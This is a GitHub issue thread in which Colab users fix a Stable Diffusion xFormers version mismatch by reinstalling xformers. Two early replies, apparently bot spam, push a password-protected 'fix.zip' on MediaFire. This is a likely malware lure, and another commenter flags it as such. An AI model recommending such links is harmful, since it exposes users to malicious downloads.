Google Colab Error
Received the following error. Looks like somebody updated something, and now the code doesn't work anymore. Any ideas on how to fix it? Seems like this happens ever three or four months
WARNING[XFORMERS]: xFormers can't load C++/CUDA extensions. xFormers was built for:
PyTorch 2.3.0+cu121 with CUDA 1201 (you have 2.4.0+cu121)
Python 3.10.14 (you have 3.10.12)
Please reinstall xformers (see https://github.com/facebookresearch/xformers#installing-xformers)
Memory-efficient attention, SwiGLU, sparse and more won't be available.
Set XFORMERS_MORE_DETAILS=1 for more details
ControlNet preprocessor location: /content/gdrive/MyDrive/sd/stable-diffusion-webui/extensions/sd-webui-controlnet/annotator/downloads
*** Error loading script: controlnet.py
Traceback (most recent call last):
File "/content/gdrive/MyDrive/sd/stable-diffusion-webui/modules/scripts.py", line 515, in load_scripts
script_module = script_loading.load_module(scriptfile.path)
File "/content/gdrive/MyDrive/sd/stable-diffusion-webui/modules/script_loading.py", line 13, in load_module
module_spec.loader.exec_module(module)
File "
to fix your trouble try download this fix, i see it in another issue, https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file password: changeme when you installing, you need to place a check in install to path and select "gcc."
to fix your trouble try download this fix, i see it in another issue, https://app.mediafire.com/6mkbh6xhau31g password: changeme when you installing, you need to place a check in install to path and select "gcc."
Can confirm this error, kinda. My version is this:
WARNING[XFORMERS]: xFormers can't load C++/CUDA extensions. xFormers was built for:
PyTorch 2.3.0+cu121 with CUDA 1201 (you have 2.4.0+cu121)
Python 3.10.14 (you have 3.10.12)
Please reinstall xformers (see https://github.com/facebookresearch/xformers#installing-xformers)
Memory-efficient attention, SwiGLU, sparse and more won't be available.
Set XFORMERS_MORE_DETAILS=1 for more details
Not going to try a bunch of malware being pushed by bots.
Same error here when trying to use dream booth:
WARNING[XFORMERS]: xFormers can't load C++/CUDA extensions. xFormers was built for:
PyTorch 2.3.0+cu121 with CUDA 1201 (you have 2.4.0+cu121)
Python 3.10.14 (you have 3.10.12)
Please reinstall xformers (see https://github.com/facebookresearch/xformers#installing-xformers)
Memory-efficient attention, SwiGLU, sparse and more won't be available.
Set XFORMERS_MORE_DETAILS=1 for more details
Traceback (most recent call last):
File "/content/diffusers/examples/dreambooth/train_dreambooth.py", line 803, in
Same issues here. Last time I had an issue like this, it got cleared up within a couple days. I tried to install that through the extension tab, but didn't fix anything,
A quick fix to generate images and ignore this error is to remove --xformers at the end of the code line of the Start Stable-Diffusion tab.
Example:
try: model if os.path.isfile(model): !python /content/gdrive/$mainpth/sd/stable-diffusion-w$blsaphemy/webui.py $share --api --disable-safe-unpickle --enable-insecure-extension-access --no-download-sd-model --no-half-vae --ckpt "$model" $auth --disable-console-progressbars --skip-version-check $ckptdir else: !python /content/gdrive/$mainpth/sd/stable-diffusion-w$blsaphemy/webui.py $share --api --disable-safe-unpickle --enable-insecure-extension-access --no-download-sd-model --no-half-vae --ckpt-dir "$model" $auth --disable-console-progressbars --skip-version-check except: !python /content/gdrive/$mainpth/sd/stable-diffusion-w$blsaphemy/webui.py $share --api --disable-safe-unpickle --enable-insecure-extension-access --no-download-sd-model --no-half-vae $auth --disable-console-progressbars --skip-version-check $ckptdir
Found from a discussion back in march that you can replace --xformers with --opt-sdp-attention. The interface loaded but its stuck trying to load the last prompt i had used.
to solve the issue run this: !pip3 install -U xformers --index-url https://download.pytorch.org/whl/cu121
Thank you aifantasyglam, that's perfect =)
love you aifantasyglam
to solve the issue run this:
!pip3 install -U xformers --index-url https://download.pytorch.org/whl/cu121
one question - where should this be run? somehwhere in the Install/Update AUTOMATIC1111 repo?
thanks all!
- ok decided not to be lazy and instead answer my own question since i've never played with this code much. 1- running this in my first choice, at the end of Install/Update AUTOMATIC1111 repo tossed few more errors from that cell but seemed to remove and reinstall xformers at the end. but still tossed the original error when starting SD, and choked in the UI. no luck
2 - next guess, running it in the requirements cell threw no errors after either cell, and UI is running back to normal - all good!
here's where i inserted it, in case it matters. this is the end of the code in the Requirements cell:
else: %env LD_PRELOAD=/content/gdrive/$mainpth/sd/libtcmalloc/libtcmalloc_minimal.so.4
inserted line
!pip3 install -U xformers --index-url https://download.pytorch.org/whl/cu121
!pip install controlnet_aux -qq --no-deps os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' os.environ['PYTHONWARNINGS'] = 'ignore' !sed -i 's@text = _formatwarnmsg(msg)@text =""@g' /usr/lib/python3.10/warnings.py
clear_output() inf('\u2714 Done','success', '50px')
#@markdown ---
thanks as always!
I put it just above [6] Download Lora
Add Code, Copy and paste.
to solve the issue run this:
!pip3 install -U xformers --index-url https://download.pytorch.org/whl/cu121one question - where should this be run? somehwhere in the Install/Update AUTOMATIC1111 repo?
thanks all!
- ok decided not to be lazy and instead answer my own question since i've never played with this code much. 1- running this in my first choice, at the end of Install/Update AUTOMATIC1111 repo tossed few more errors from that cell but seemed to remove and reinstall xformers at the end. but still tossed the original error when starting SD, and choked in the UI. no luck
2 - next guess, running it in the requirements cell threw no errors after either cell, and UI is running back to normal - all good!
here's where i inserted it, in case it matters. this is the end of the code in the Requirements cell:
else: %env LD_PRELOAD=/content/gdrive/$mainpth/sd/libtcmalloc/libtcmalloc_minimal.so.4
inserted line
!pip3 install -U xformers --index-url https://download.pytorch.org/whl/cu121
!pip install controlnet_aux -qq --no-deps os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' os.environ['PYTHONWARNINGS'] = 'ignore' !sed -i 's@text = _formatwarnmsg(msg)@text =""@g' /usr/lib/python3.10/warnings.py
clear_output() inf('\u2714 Done','success', '50px')
#@markdown ---
thanks as always!
I run it above this part
Everyone, I would like to take advantage of this thread and ask something
anyone knows how to solve this issue ?: https://github.com/Gourieff/sd-webui-reactor/issues/483
Same error here when trying to use dream booth:
WARNING[XFORMERS]: xFormers can't load C++/CUDA extensions. xFormers was built for: PyTorch 2.3.0+cu121 with CUDA 1201 (you have 2.4.0+cu121) Python 3.10.14 (you have 3.10.12) Please reinstall xformers (see https://github.com/facebookresearch/xformers#installing-xformers) Memory-efficient attention, SwiGLU, sparse and more won't be available. Set XFORMERS_MORE_DETAILS=1 for more details Traceback (most recent call last): File "/content/diffusers/examples/dreambooth/train_dreambooth.py", line 803, in main() File "/content/diffusers/examples/dreambooth/train_dreambooth.py", line 519, in main unet.enable_xformers_memory_efficient_attention()
FOr Dreambooth go to "Dependencies", show code and scroll down to the bottom of the code. Modify the last lines so you get something like this (note the added xformers install):
else:
%env LD_PRELOAD=/content/gdrive/MyDrive/sd/libtcmalloc/libtcmalloc_minimal.so.4
!pip3 install -U xformers --index-url https://download.pytorch.org/whl/cu121
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
os.environ['PYTHONWARNINGS'] = 'ignore'
!sed -i 's@raise AttributeError(f"module {module!r} has no attribute {name!r}")@@g' /usr/local/lib/python3.10/dist-packages/jax/_src/deprecations.py
Hi everyone, I got a new error related to the previous, does anyone know anything about it...?
hmm, now the start up on the colab page is fine (with the extra line of code from aifantasyglam - thank you!). but now when I try to open the public url I get a '504 gateway time-out' error
Yep, gradio is down this morning.
On Wed, Aug 28, 2024, 5:41 AM mdlieber99 @.***> wrote:
hmm, now the start up on the colab page is fine (with the extra line of code from aifantasyglam - thank you!). but now when I try to open the public url I get a '504 gateway time-out' error
— Reply to this email directly, view it on GitHub https://github.com/TheLastBen/fast-stable-diffusion/issues/2913#issuecomment-2315212829, or unsubscribe https://github.com/notifications/unsubscribe-auth/BKWECTGID3EYKAXMOK2GRJ3ZTXANVAVCNFSM6AAAAABNEPL6Z6VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMJVGIYTEOBSHE . You are receiving this because you commented.Message ID: @.***>
gradio back online now
Same issue here - Automatic 1111 was working fine in Colab on my MacBook Pro M1 until a few days ago and now this exact same xformers error which will launch the SD UI but delivers an error message when trying to generate anything.
Is there a simple fix for this that doesn't involve using the Terminal on a Mac that won't screw things up further?
(I can of course install SD in my local machine but it's very slow and eats up drive space and it doesn't require xformers to run properly.)
to solve the issue run this:
!pip3 install -U xformers --index-url https://download.pytorch.org/whl/cu121
Notice that without running the command, Web UI could still be started up successfully.
Test Env: Google Colab, L4 GPU Test Time: 2024/9/26